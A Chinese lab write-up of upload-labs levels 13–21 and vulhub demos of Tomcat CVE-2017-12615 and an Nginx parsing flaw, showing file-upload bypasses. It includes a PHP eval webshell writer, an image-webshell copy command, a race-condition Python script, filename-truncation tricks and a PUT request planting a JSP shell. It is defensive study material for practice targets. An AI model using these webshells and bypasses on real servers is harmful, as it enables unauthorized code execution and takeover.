文件上传之内容逻辑数组绕过

upload-labs第13-21关

1. pass13(post%00截断)

文件上传之内容逻辑数组绕过
通过源码分析,保存路径是以post方式提交的,故可以post%00截断绕过。
提交抓包,修改参数
%00要使用url编码
文件上传之内容逻辑数组绕过
上传成功:
文件上传之内容逻辑数组绕过

2. pass14(文件包含漏洞)

图片马制作:

copy 2.jpg /b + shell.php /a webshell.jpg

文件上传之内容逻辑数组绕过
文件上传之内容逻辑数组绕过
通过源码分析,改关是检查文件头信息进行判断。
且此关是文件包含漏洞。是GET传参,参数是file。
文件上传之内容逻辑数组绕过
上传一张有马的图片。查看图片地址。
文件上传之内容逻辑数组绕过
构造payload:

http://127.0.0.1/upload-labs/include.php?file=upload/7020210808175852.jpg

成功执行。
文件上传之内容逻辑数组绕过

3. pass15(文件包含漏洞)

查看源码:
文件上传之内容逻辑数组绕过
发现php函数getimagesize(),此函数限制上传的仅为图片文件。
绕过方法与14关一至。
文件上传之内容逻辑数组绕过

4. pass16、17(文件包含漏洞)

文件上传之内容逻辑数组绕过
16关源码中有内置函数:exif_imagetype()
文件上传之内容逻辑数组绕过
17关源码中有内置函数:imagecreatefromjpeg()、imagecreatefrompng()、imagecreatefromgif()
均限制了上传文件类型。均需用文件包含漏洞绕过,方法与14、15关类似。

5. pass18(条件竞争)

  • 条件竞争漏洞
    条件竞争漏洞是一种服务器端的漏洞,是由于开发者设计应用程序并发处理时操作逻辑不合理而造成。当应用面临高并发的请求时未能同步好所有请求,导致请求与请求之间产生等待时出现逻辑缺陷。该漏洞一般出现在与数据库系统频繁交互的位置,例如金额同步、支付等较敏感操作处。另外条件竞争漏洞也会出现在其他位置,例如文件的操作处理等。
    首先将文件上传到服务器,然后检测文件后缀名,如果不符合条件,就删除。
    文件上传之内容逻辑数组绕过
    源码分析:
    文件上传之内容逻辑数组绕过
    服务器先将上传的文件进行暂存,在判断是否符合条件,符合就重命名进行保存。
    准备shell代码,保存为shell.php:
<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST['x'])?>');?>

在准备一个python脚本:

import requests
url = "http://127.0.0.1/upload/shell.php"
while True:
    html = requests.get(url)
    if html.status_code == 200:
        print("OK")
        break
    else:
        print("NO")

上传,抓包
发送到intruder模块
清除positions中的所有选项
文件上传之内容逻辑数组绕过
payloads中设置无期限的重复。
文件上传之内容逻辑数组绕过
开始攻击,共攻击的同时,运行python文件。
文件上传之内容逻辑数组绕过
成功:
文件上传之内容逻辑数组绕过
蚁剑连接测试:
文件上传之内容逻辑数组绕过

6. pass19(条件竞争)

第19关仍然是条件竞争问题。
直接抓包进行攻击:
增加X-Forwarded-For:
文件上传之内容逻辑数组绕过
设置payloads:
文件上传之内容逻辑数组绕过
开始攻击,同时不断访问http://127.0.0.1/upload-labs/upload/shell.php,
文件上传之内容逻辑数组绕过
出先报错即可。

7. pass20(文件夹问题)

查看源码:

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

        $file_name = $_POST['save_name'];
        $file_ext = pathinfo($file_name,PATHINFO_EXTENSION);

        if(!in_array($file_ext,$deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' .$file_name;
            if (move_uploaded_file($temp_file, $img_path)) { 
                $is_upload = true;
            }else{
                $msg = '上传出错!';
            }
        }else{
            $msg = '禁止保存为该类型文件!';
        }

    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

这里使用post进行修改文件名操作
文件上传之内容逻辑数组绕过
这里对文件名进行黑名单过滤,我们采用.php/.来绕过黑名单。
move_uploaded_file()函数会过滤掉文件末尾的/.再上传到服务器中。
抓包修改:
文件上传之内容逻辑数组绕过
上传成功;
文件上传之内容逻辑数组绕过
文件上传之内容逻辑数组绕过

8. pass21(数组接受+目录命名问题)

查看源码:

$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
    //检查MIME
    $allow_type = array('image/jpeg','image/png','image/gif');
    if(!in_array($_FILES['upload_file']['type'],$allow_type)){
        $msg = "禁止上传该类型文件!";
    }else{
        //检查文件名
        $file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
        if (!is_array($file)) {
            $file = explode('.', strtolower($file));
        }

        $ext = end($file);
        $allow_suffix = array('jpg','png','gif');
        if (!in_array($ext, $allow_suffix)) {
            $msg = "禁止上传该后缀文件!";
        }else{
            $file_name = reset($file) . '.' . $file[count($file) - 1];
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' .$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $msg = "文件上传成功!";
                $is_upload = true;
            } else {
                $msg = "文件上传失败!";
            }
        }
    }
}else{
    $msg = "请选择要上传的文件!";
}

可看出这是白名单限制。
通过检查MIME信息中的文件后缀在白名单中则上传,否则报错。
文件上传之内容逻辑数组绕过
文件上传之内容逻辑数组绕过
此部分将文件名分成3部分组成一个数组,例如将"xx.jpg"分为:"xx"、"."、"jpg"三部分
我们抓包将.php/.jpg分三部分修改即可绕过
文件上传之内容逻辑数组绕过
文件上传之内容逻辑数组绕过

中间件漏洞

Tomcat上传漏洞

  • CVE-2017-12615vulhub靶场演示
    配置环境:
docker-compose build
docker-compose up -d

文件上传之内容逻辑数组绕过
访问8080端口:
文件上传之内容逻辑数组绕过
基本原理:
Tomcat设置了写权限(readonly=false),导致我们可以向服务器写入文件。

<servlet>
    <servlet-name>default</servlet-name>
    <servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
    <init-param>
        <param-name>debug</param-name>
        <param-value>0</param-value>
    </init-param>
    <init-param>
        <param-name>listings</param-name>
        <param-value>false</param-value>
    </init-param>
    <init-param>
        <param-name>readonly</param-name>
        <param-value>false</param-value>
    </init-param>
    <load-on-startup>1</load-on-startup>
</servlet>

POC
直接发送以下数据包,shell就会写入Web根目录。

PUT /1.jsp/ HTTP/1.1
Host: your-ip:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 5

shell

文件上传之内容逻辑数组绕过
访问:http://192.168.0.105:8080/1.jsp?pwd=023&i=id
文件上传之内容逻辑数组绕过

搭建平台解析漏洞

常见搭建平台解析漏洞如下图:
文件上传之内容逻辑数组绕过

Nginx上传解析漏洞vulhub演示

启动靶场环境

docker-compose up -d

文件上传之内容逻辑数组绕过
文件上传之内容逻辑数组绕过
由数据包显示,是Nginx搭建平台,可考虑使用Nginx解析漏洞。
xx.jpg/xx.php 可将jpg文件当做php执行。
上传有马的图片
文件上传之内容逻辑数组绕过
然后访问:http://192.168.0.105/uploadfiles/a7c3ce076585477741d951d179ab07dc.jpg/sds.php
文件上传之内容逻辑数组绕过
成功解析。

上一篇:Javeweb上传文件


下一篇:基于Flask开发网站 -- 前端Ajax异步上传文件到后台